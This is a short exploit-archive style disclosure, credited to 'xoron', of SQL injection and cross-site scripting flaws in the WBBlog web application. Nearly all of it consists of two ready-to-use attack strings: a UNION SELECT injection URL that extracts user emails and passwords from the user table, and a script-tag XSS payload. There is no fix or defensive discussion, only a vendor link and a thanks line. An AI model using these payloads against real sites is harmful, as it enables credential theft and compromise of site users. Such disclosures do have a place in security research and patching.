WBBlog (XSS/SQL) Multiple Remote Vulnerabilities

======================x=o=r=o=n===================== WBBlog&nbsp;(XSS/SQL)&nbsp;Multiple&nbsp;Remote&nbsp;Vulnerabilities ======================x=o=r=o=n===================== Bulan:&nbsp;xoron xoron.biz ======================x=o=r=o=n===================== SQL&nbsp;INJ: index.php?cmd=viewentry&e_id=-1/**/UNION/**/SELECT/**/null,null,u_email,null,u_password,null/**/FROM/**/user/* XSS&nbsp;: index.php?cmd=viewentry&e_id=\"><script>alert(\'HACKED\')</script> ======================x=o=r=o=n===================== Vendor&nbsp;Site:&nbsp;http://liqua.com/wbblog.html ======================x=o=r=o=n===================== Thnx:&nbsp;pang0 ======================x=o=r=o=n===================== &nbsp;